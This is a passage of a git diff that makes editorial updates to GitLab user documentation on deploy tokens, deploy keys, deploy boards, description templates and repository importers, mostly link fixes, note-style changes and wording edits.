index 5f96f65ea06..19dc3588162 100644
--- a/doc/user/project/code_intelligence.md
+++ b/doc/user/project/code_intelligence.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md
index 37ebef3a26e..d0e89400d88 100644
--- a/doc/user/project/code_owners.md
+++ b/doc/user/project/code_owners.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -112,7 +112,7 @@ in the `.gitignore` file followed by one or more of:
- A user's `@username`.
- A user's email address.
- The `@name` of one or more groups that should be owners of the file.
-- Lines starting with `#` are escaped.
+- Lines starting with `#` are ignored.
The order in which the paths are defined is significant: the last pattern that
matches a given path will be used to find the code owners.
diff --git a/doc/user/project/container_registry.md b/doc/user/project/container_registry.md
index 91c9d3171dc..17e86b6d7e8 100644
--- a/doc/user/project/container_registry.md
+++ b/doc/user/project/container_registry.md
@@ -3,3 +3,6 @@ redirect_to: '../packages/container_registry/index.md'
---
This document was moved to [another location](../packages/container_registry/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/cycle_analytics.md b/doc/user/project/cycle_analytics.md
index 9d1cc508f63..5c235f6708b 100644
--- a/doc/user/project/cycle_analytics.md
+++ b/doc/user/project/cycle_analytics.md
@@ -3,3 +3,6 @@ redirect_to: '../analytics/value_stream_analytics.md'
---
This document was moved to [another location](../analytics/value_stream_analytics.md)
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md
index 2bf35b48547..7546556a7c0 100644
--- a/doc/user/project/deploy_boards.md
+++ b/doc/user/project/deploy_boards.md
@@ -1,15 +1,16 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto, reference
---
-# Deploy Boards **(PREMIUM)**
+# Deploy Boards **(CORE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1589) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1589) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0.
+> - [Moved](<https://gitlab.com/gitlab-org/gitlab/-/issues/212320>) to GitLab Core in 13.7.
-GitLab's Deploy Boards offer a consolidated view of the current health and
+GitLab Deploy Boards offer a consolidated view of the current health and
status of each CI [environment](../../ci/environments/index.md) running on [Kubernetes](https://kubernetes.io), displaying the status
of the pods in the deployment. Developers and other teammates can view the
progress and status of a rollout, pod by pod, in the workflow they already use
@@ -74,7 +75,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/
1. Have a Kubernetes cluster up and running.
- NOTE: **Running on OpenShift:**
+ NOTE:
If you are using OpenShift, ensure that you're using the `Deployment` resource
instead of `DeploymentConfiguration`. Otherwise, the Deploy Boards won't render
correctly. For more information, read the
@@ -98,7 +99,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/
Kubernetes as well. The image below demonstrates how this is shown inside
Kubernetes.
- NOTE: **Note:**
+ NOTE:
Matching based on the Kubernetes `app` label was removed in [GitLab
12.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/14020).
To migrate, please apply the required annotations (see above) and
@@ -143,7 +144,7 @@ spec:
The annotations will be applied to the deployments, replica sets, and pods. By changing the number of replicas, like `kubectl scale --replicas=3 deploy APPLICATION_NAME -n ${KUBE_NAMESPACE}`, you can follow the instances' pods from the board.
-NOTE: **Note:**
+NOTE:
The YAML file is static. If you apply it using `kubectl apply`, you must
manually provide the project and environment slugs, or create a script to
replace the variables in the YAML before applying.
diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md
index 4f344554016..39b790544c1 100644
--- a/doc/user/project/deploy_keys/index.md
+++ b/doc/user/project/deploy_keys/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto, reference
---
@@ -27,7 +27,7 @@ repository in automation, it's a simple solution.
A drawback is that your repository could become vulnerable if a remote machine is compromised
by a hacker. You should limit access to the remote machine before a deploy key is
-enabled on your repository. A good rule to follow is to access only to trusted users,
+enabled on your repository. A good rule to follow is to provide access only to trusted users,
and make sure that the allowed users have [maintainer permissions or higher](../../permissions.md)
in the GitLab project.
@@ -108,7 +108,7 @@ keys that were [made available to your entire GitLab instance](#public-deploy-ke
After a key is added, you can edit it to update its title, or switch between `read-only`
and `read-write` access.
-NOTE: **Note:**
+NOTE:
If you have enabled a privately or publicly accessible or deploy key for your
project, and if you then update the access level for this key from `read-only` to
`read-write`, the change will be only for the **current project**.
@@ -134,7 +134,7 @@ Instance administrators can add public deploy keys:
After adding a key, it will be available to any shared systems. Project maintainers
or higher can [authorize a public deploy key](#project-deploy-keys) to start using it with the project.
-NOTE: **Note:**
+NOTE:
The **Publicly accessible deploy keys** tab within Project's CI/CD settings only appears
if there is at least one Public deploy key configured.
@@ -146,7 +146,7 @@ When creating a Public deploy key, determine whether or not it can be defined fo
very narrow usage, such as just a specific service, or if it needs to be defined for
broader usage, such as full `read-write` access for all services.
-CAUTION: **Warning:**
+WARNING:
Adding a public deploy key does not immediately expose any repository to it. Public
deploy keys enable access from other systems, but access is not given to any project
until a project maintainer chooses to make use of it.
diff --git a/doc/user/project/deploy_tokens/img/deploy_tokens.png b/doc/user/project/deploy_tokens/img/deploy_tokens.png
deleted file mode 100644
index 1981b0747bf..00000000000
--- a/doc/user/project/deploy_tokens/img/deploy_tokens.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/deploy_tokens/img/deploy_tokens_ui.png b/doc/user/project/deploy_tokens/img/deploy_tokens_ui.png
new file mode 100644
index 00000000000..83f59b8f6f0
--- /dev/null
+++ b/doc/user/project/deploy_tokens/img/deploy_tokens_ui.png
Binary files differ
diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md
index 1ac528ca4ae..ac19c44c58a 100644
--- a/doc/user/project/deploy_tokens/index.md
+++ b/doc/user/project/deploy_tokens/index.md
@@ -1,7 +1,7 @@
---
stage: Release
-group: Progressive Delivery
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -18,6 +18,8 @@ container registry images of a project without having a user and a password.
Deploy tokens can be managed by [maintainers only](../../permissions.md).
+Deploy tokens cannot be used with the GitLab API.
+
If you have a key pair, you might want to use [deploy keys](../../../ssh/README.md#deploy-keys)
instead.
@@ -36,7 +38,7 @@ project. Alternatively, you can also create [group-scoped deploy tokens](#group-
1. Save the deploy token somewhere safe. After you leave or refresh
the page, **you won't be able to access it again**.
-![Personal access tokens page](img/deploy_tokens.png)
+![Personal access tokens page](img/deploy_tokens_ui.png)
## Deploy token expiration
@@ -91,7 +93,7 @@ To read the container registry images, you'll need to:
1. Create a Deploy Token with `read_registry` as a scope.
1. Take note of your `username` and `token`.
-1. Sign in to GitLab’s Container Registry using the deploy token:
+1. Sign in to the GitLab Container Registry using the deploy token:
```shell
docker login -u <username> -p <deploy_token> registry.example.com
@@ -108,7 +110,7 @@ To push the container registry images, you'll need to:
1. Create a Deploy Token with `write_registry` as a scope.
1. Take note of your `username` and `token`.
-1. Sign in to GitLab’s Container Registry using the deploy token:
+1. Sign in to the GitLab Container Registry using the deploy token:
```shell
docker login -u <username> -p <deploy_token> registry.example.com
@@ -149,6 +151,9 @@ belong either to the specific group or to one of its subgroups.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, see [Group Deploy Tokens](https://youtu.be/8kxTJvaD9ks).
+The Group Deploy Tokens UI is now accessible under **Settings > Repository**,
+not **Settings > CI/CD** as indicated in the video.
+
To use a group deploy token:
1. [Create](#creating-a-deploy-token) a deploy token for a group.
@@ -174,7 +179,7 @@ those variables:
docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY
```
-NOTE: **Note:**
+NOTE:
The special handling for the `gitlab-deploy-token` deploy token is not currently
implemented for group deploy tokens. For the deploy token to be available for
CI/CD jobs, it must be created at the project level. For details, see
diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md
index 4c14251cfa5..db2631f9596 100644
--- a/doc/user/project/description_templates.md
+++ b/doc/user/project/description_templates.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Description templates
@@ -26,7 +26,7 @@ are added to the root directory of a GitLab project's repository.
Description templates must be written in [Markdown](../markdown.md) and stored
in your project's repository under a directory named `.gitlab`. Only the
-templates of the default branch will be taken into account.
+templates of the default branch are taken into account.
## Use-cases
@@ -53,7 +53,7 @@ To create a Markdown file:
example `feature_request.md` or `Feature Request.md`.
1. Commit and push to your default branch.
-If you don't have a `.gitlab/issue_templates` directory in your repository, you'll need to create it.
+If you don't have a `.gitlab/issue_templates` directory in your repository, you need to create it.
To create the `.gitlab/issue_templates` directory:
@@ -74,12 +74,12 @@ push to your default branch.
## Using the templates
Let's take for example that you've created the file `.gitlab/issue_templates/Bug.md`.
-This will enable the `Bug` dropdown option when creating or editing issues. When
-`Bug` is selected, the content from the `Bug.md` template file will be copied
-to the issue description field. The 'Reset template' button will discard any
-changes you made after picking the template and return it to its initial status.
+This enables the `Bug` dropdown option when creating or editing issues. When
+`Bug` is selected, the content from the `Bug.md` template file is copied
+to the issue description field. The **Reset template** button discards any
+changes you made after picking the template and returns it to its initial status.
-TIP: **Tip:**
+NOTE:
You can create short-cut links to create an issue using a designated template. For example: `https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal`.
![Description templates](img/description_templates.png)
@@ -92,7 +92,7 @@ You can create short-cut links to create an issue using a designated template. F
The visibility of issues and/or merge requests should be set to either "Everyone
with access" or "Only Project Members" in your project's **Settings / Visibility, project features, permissions** section, otherwise the
-template text areas won't show. This is the default behavior so in most cases
+template text areas don't show. This is the default behavior, so in most cases
you should be fine.
1. Go to your project's **Settings**.
@@ -108,7 +108,7 @@ you should be fine.
![Default issue description templates](img/description_templates_issue_settings.png)
After you add the description, hit **Save changes** for the settings to take
-effect. Now, every time a new merge request or issue is created, it will be
+effect. Now, every time a new merge request or issue is created, it is
pre-filled with the text you entered in the template(s).
## Description template example
@@ -117,9 +117,9 @@ We make use of Description Templates for Issues and Merge Requests within the Gi
Edition project. Please refer to the [`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab)
for some examples.
-TIP: **Tip:**
+NOTE:
It's possible to use [quick actions](quick_actions.md) within description templates to quickly add
-labels, assignees, and milestones. The quick actions will only be executed if the user submitting
+labels, assignees, and milestones. The quick actions are only executed if the user submitting
the issue or merge request has the permissions to perform the relevant actions.
Here is an example of a Bug report template:
diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md
index 46c2e211d57..49918b8f023 100644
--- a/doc/user/project/file_lock.md
+++ b/doc/user/project/file_lock.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto
---
@@ -152,7 +152,7 @@ git lfs unlock --id=123 --force
You can normally push files to GitLab whether they're locked or unlocked.
-NOTE: **Note:**
+NOTE:
Although multi-branch file locks can be created and managed through the Git LFS
command line interface, file locks can be created for any file.
@@ -175,7 +175,7 @@ tracked by Git LFS plus a padlock icon on exclusively-locked files:
You can also [view and remove existing locks](#view-and-remove-existing-locks) from the GitLab UI.
-NOTE: **Note:**
+NOTE:
When you rename an exclusively-locked file, the lock is lost. You'll have to
lock it again to keep it locked.
diff --git a/doc/user/project/git_attributes.md b/doc/user/project/git_attributes.md
index 577f0f1f754..459abea455b 100644
--- a/doc/user/project/git_attributes.md
+++ b/doc/user/project/git_attributes.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
diff --git a/doc/user/project/gpg_signed_commits/index.md b/doc/user/project/gpg_signed_commits/index.md
index bd9a5313489..206013210a0 100644
--- a/doc/user/project/gpg_signed_commits/index.md
+++ b/doc/user/project/gpg_signed_commits/index.md
@@ -3,3 +3,6 @@ redirect_to: '../repository/gpg_signed_commits/index.md'
---
This document was moved to [another location](../repository/gpg_signed_commits/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/highlighting.md b/doc/user/project/highlighting.md
index 5f7c754ec75..1d92e32e071 100644
--- a/doc/user/project/highlighting.md
+++ b/doc/user/project/highlighting.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -9,7 +9,7 @@ type: reference
GitLab provides syntax highlighting on all files through the [Rouge](https://rubygems.org/gems/rouge) Ruby gem. It will try to guess what language to use based on the file extension, which most of the time is sufficient.
-NOTE: **Note:**
+NOTE:
The [Web IDE](web_ide/index.md) and [Snippets](../snippets.md) use [Monaco Editor](https://microsoft.github.io/monaco-editor/)
for text editing, which internally uses the [Monarch](https://microsoft.github.io/monaco-editor/monarch.html)
library for syntax highlighting.
@@ -28,7 +28,7 @@ The paths here are simply Git's built-in [`.gitattributes` interface](https://gi
/Nicefile gitlab-language=ruby
```
-To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shenanigans are available through CGI options, such as:
+To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shenanigans are available through common gateway interface (CGI) options, such as:
``` conf
# json with erb in it
@@ -40,5 +40,5 @@ To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shen
Please note that these configurations will only take effect when the `.gitattributes` file is in your default branch (usually `master`).
-NOTE: **Note:**
+NOTE:
The Web IDE does not support `.gitattribute` files, but it's [planned for a future release](https://gitlab.com/gitlab-org/gitlab/-/issues/22014).
diff --git a/doc/user/project/img/canary_weight.png b/doc/user/project/img/canary_weight.png
new file mode 100644
index 00000000000..e6544358c15
--- /dev/null
+++ b/doc/user/project/img/canary_weight.png
Binary files differ
diff --git a/doc/user/project/img/issue_board_default_lists_v13_4.png b/doc/user/project/img/issue_board_default_lists_v13_4.png
deleted file mode 100644
index 23cdc9b4e22..00000000000
--- a/doc/user/project/img/issue_board_default_lists_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/issue_boards_add_issues_modal_v13_6.png b/doc/user/project/img/issue_boards_add_issues_modal_v13_6.png
deleted file mode 100644
index a138efc9c1c..00000000000
--- a/doc/user/project/img/issue_boards_add_issues_modal_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/protected_branches_deploy_keys_v13_5.png b/doc/user/project/img/protected_branches_deploy_keys_v13_5.png
new file mode 100644
index 00000000000..6eda7a671b2
--- /dev/null
+++ b/doc/user/project/img/protected_branches_deploy_keys_v13_5.png
Binary files differ
diff --git a/doc/user/project/img/rollout_status_canary_ingress.png b/doc/user/project/img/rollout_status_canary_ingress.png
deleted file mode 100644
index fb59ba31615..00000000000
--- a/doc/user/project/img/rollout_status_canary_ingress.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/service_desk_issue_tracker.png b/doc/user/project/img/service_desk_issue_tracker.png
index 02d18c9debb..0fde4c182cf 100644
--- a/doc/user/project/img/service_desk_issue_tracker.png
+++ b/doc/user/project/img/service_desk_issue_tracker.png
Binary files differ
diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md
index 56266718d12..6f274dd12a2 100644
--- a/doc/user/project/import/bitbucket.md
+++ b/doc/user/project/import/bitbucket.md
@@ -2,12 +2,12 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import your project from Bitbucket Cloud to GitLab
-NOTE: **Note:**
+NOTE:
The Bitbucket Cloud importer works only with Bitbucket.org, not with Bitbucket
Server (aka Stash). If you are trying to import projects from Bitbucket Server, use
[the Bitbucket Server importer](bitbucket_server.md).
@@ -38,10 +38,10 @@ to enable this if not already.
## How it works
When issues/pull requests are being imported, the Bitbucket importer tries to find
-the Bitbucket author/assignee in GitLab's database using the Bitbucket `nickname`.
+the Bitbucket author/assignee in the GitLab database using the Bitbucket `nickname`.
For this to work, the Bitbucket author/assignee should have signed in beforehand in GitLab
and **associated their Bitbucket account**. Their `nickname` must also match their Bitbucket
-`username.`. If the user is not found in GitLab's database, the project creator
+`username.`. If the user is not found in the GitLab database, the project creator
(most of the times the current user that started the import process) is set as the author,
but a reference on the issue about the original Bitbucket author is kept.
diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md
index ac5be2b46a4..bb2256c9464 100644
--- a/doc/user/project/import/bitbucket_server.md
+++ b/doc/user/project/import/bitbucket_server.md
@@ -2,14 +2,14 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import your project from Bitbucket Server to GitLab
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20164) in GitLab 11.2.
-NOTE: **Note:**
+NOTE:
The Bitbucket Server importer does not work with [Bitbucket Cloud](https://bitbucket.org).
Use the [Bitbucket Cloud importer](bitbucket.md) for that.
@@ -70,7 +70,7 @@ namespace that started the import process.
> - It's not recommended for production use.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to enable it.
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
If you've enabled this feature, the importer tries to find a user in the GitLab user database with
diff --git a/doc/user/project/import/clearcase.md b/doc/user/project/import/clearcase.md
index a825084dd1a..7e07ca6f865 100644
--- a/doc/user/project/import/clearcase.md
+++ b/doc/user/project/import/clearcase.md
@@ -2,12 +2,12 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migrating from ClearCase
-[ClearCase](https://www.ibm.com/us-en/marketplace/rational-clearcase) is a set of
+[ClearCase](https://www.ibm.com/products/rational-clearcase) is a set of
tools developed by IBM which also include a centralized version control system
similar to Git.
diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md
index 2957b33c20e..82ff889c043 100644
--- a/doc/user/project/import/cvs.md
+++ b/doc/user/project/import/cvs.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migrating from CVS
@@ -69,7 +69,8 @@ Migrating to Git/GitLab will benefit you:
Here's a few links to get you started with the migration:
-- [Migrate using the `cvs-fast-export` tool](http://www.catb.org/~esr/reposurgeon/dvcs-migration-guide.html) ([_source code_](https://gitlab.com/esr/cvs-fast-export))
+- [Migrate using the `cvs-fast-export` tool](https://gitlab.com/esr/cvs-fast-export)
- [Stack Overflow post on importing the CVS repo](https://stackoverflow.com/a/11490134/974710)
- [Convert a CVS repository to Git](https://www.techrepublic.com/blog/linux-and-open-source/convert-cvs-repositories-to-git/)
- [Man page of the `git-cvsimport` tool](https://mirrors.edge.kernel.org/pub/software/scm/git/docs/git-cvsimport.html)
+- [Migrate using `reposurgeon`](http://www.catb.org/~esr/reposurgeon/repository-editing.html#conversion)
diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md
index 149b5d1913c..1371ca57bc9 100644
--- a/doc/user/project/import/fogbugz.md
+++ b/doc/user/project/import/fogbugz.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import your project from FogBugz to GitLab
diff --git a/doc/user/project/import/gemnasium.md b/doc/user/project/import/gemnasium.md
index 2d0caa7d46e..38679914a9d 100644
--- a/doc/user/project/import/gemnasium.md
+++ b/doc/user/project/import/gemnasium.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Gemnasium **(ULTIMATE)**
@@ -66,19 +66,19 @@ GitHub.com or GitHub Enterprise repository. This will automatically prompt
GitLab CI/CD to run whenever code is pushed to GitHub and post CI/CD results
back to both GitLab and GitHub when completed.
-1. Create a new project, and select the "CI/CD for external repo" tab:
+1. Create a new project, and select "CI/CD for external repo":
- ![Create new Project](img/gemnasium/create_project.png)
+ ![Create new Project](img/gemnasium/create_project_v13_5.png)
1. Use the "GitHub" button to connect your repositories.
- ![Connect from GitHub](img/gemnasium/connect_github.png)
+ ![Connect from GitHub](img/gemnasium/connect_github_v13_5.png)
1. Select the project(s) to be set up with GitLab CI/CD and chose "Connect".
- ![Select projects](img/gemnasium/select_project.png)
+ ![Select projects](img/gemnasium/select_project_v13_5.png)
- Once the configuration is done, you may click on your new
+ After the configuration is done, you may click on your new
project on GitLab.
![click on connected project](img/gemnasium/project_connected.png)
@@ -107,7 +107,7 @@ back to both GitLab and GitHub when completed.
![Security Dashboard](../../application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png)
-NOTE: **Note:**
+NOTE:
If you don't commit very often to your project, you may want to use
[scheduled pipelines](../../../ci/pipelines/schedules.md) to run the job on a regular
basis.
diff --git a/doc/user/project/import/gitea.md b/doc/user/project/import/gitea.md
index 81ab16590dc..26e5a86b808 100644
--- a/doc/user/project/import/gitea.md
+++ b/doc/user/project/import/gitea.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import your project from Gitea to GitLab
@@ -11,7 +11,7 @@ Import your projects from Gitea to GitLab with minimal effort.
## Overview
-NOTE: **Note:**
+NOTE:
This requires Gitea `v1.0.0` or newer.
- At its current state, Gitea importer can import:
@@ -27,7 +27,7 @@ This requires Gitea `v1.0.0` or newer.
## How it works
Since Gitea is currently not an OAuth provider, author/assignee cannot be mapped
-to users in your GitLab's instance. This means that the project creator (most of
+to users in your GitLab instance. This means that the project creator (most of
the times the current user that started the import process) is set as the author,
but a reference on the issue about the original Gitea author is kept.
diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md
index 6c0105aaded..8b6d86b14c9 100644
--- a/doc/user/project/import/github.md
+++ b/doc/user/project/import/github.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Import your project from GitHub to GitLab
@@ -23,6 +23,8 @@ The following aspects of a project are imported:
- Labels (GitLab.com & 8.7+)
- Release note descriptions (GitLab.com & 8.12+)
- Pull request review comments (GitLab.com & 10.2+)
+- Pull request reviews (GitLab.com & 13.7+)
+- Pull request "merged by" information (GitLab.com & 13.7+)
- Regular issue and pull request comments
- [Git Large File Storage (LFS) Objects](../../../topics/git/lfs/index.md)
@@ -59,11 +61,11 @@ For this association to succeed, each GitHub author and assignee in the reposito
must meet one of the following conditions prior to the import:
- Have previously logged in to a GitLab account using the GitHub icon.
-- Have a GitHub account with a
- [primary email address](https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address)
- that matches their GitLab account's email address.
+- Have a GitHub account with a publicly visible
+ [primary email address](https://docs.github.com/en/free-pro-team@latest/rest/reference/users#get-a-user)
+ on their profile that matches their GitLab account's email address.
-If a user referenced in the project is not found in GitLab's database, the project creator (typically the user
+If a user referenced in the project is not found in the GitLab database, the project creator (typically the user
that initiated the import process) is set as the author/assignee, but a note on the issue mentioning the original
GitHub author is added.
@@ -89,24 +91,24 @@ Before you begin, ensure that any GitHub users who you want to map to GitLab use
- A GitLab account that has logged in using the GitHub icon
\- or -
-- A GitLab account with an email address that matches the [public email address](https://docs.github.com/en/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address) of the GitHub user
+- A GitLab account with an email address that matches the [publicly visible email address](https://docs.github.com/en/free-pro-team@latest/rest/reference/users#get-a-user) in the profile of the GitHub user
User-matching attempts occur in that order, and if a user is not identified either way, the activity is associated with
the user account that is performing the import.
-NOTE: **Note:**
+NOTE:
If you are using a self-managed GitLab instance or if you are importing from GitHub Enterprise, this process requires that you have configured
[GitHub integration](../../../integration/github.md).
1. From the top navigation bar, click **+** and select **New project**.
1. Select the **Import project** tab and then select **GitHub**.
1. Select the first button to **List your GitHub repositories**. You are redirected to a page on [GitHub](https://github.com) to authorize the GitLab application.
-1. Click **Authorize GitlabHQ**. You are redirected back to GitLab's Import page and all of your GitHub repositories are listed.
+1. Click **Authorize GitlabHQ**. You are redirected back to the GitLab Import page and all of your GitHub repositories are listed.
1. Continue on to [selecting which repositories to import](#selecting-which-repositories-to-import).
### Using a GitHub token
-NOTE: **Note:**
+NOTE:
Using a personal access token to import projects is not recommended. If you are a GitLab.com user,
you can use a personal access token to import your project from GitHub, but this method cannot
associate all user activity (such as issues and pull requests) with matching GitLab users.
@@ -154,8 +156,8 @@ of the above are automatically configured. **(PREMIUM)**
## Improving the speed of imports on self-managed instances
-NOTE: **Note:**
-Admin access to the GitLab server is required.
+NOTE:
+Administrator access to the GitLab server is required.
For large projects it may take a while to import all data. To reduce the time necessary, you can increase the number of
Sidekiq workers that process the following queues:
diff --git a/doc/user/project/import/gitlab_com.md b/doc/user/project/import/gitlab_com.md
index 6c622ece4ac..add457c217e 100644
--- a/doc/user/project/import/gitlab_com.md
+++ b/doc/user/project/import/gitlab_com.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Project importing from GitLab.com to your private GitLab instance
@@ -13,7 +13,7 @@ mind that it is possible only if GitLab.com integration is enabled on your GitLa
To get to the importer page you need to go to "New project" page.
-NOTE: **Note:**
+NOTE:
If you are interested in importing Wiki and Merge Request data to your new instance,
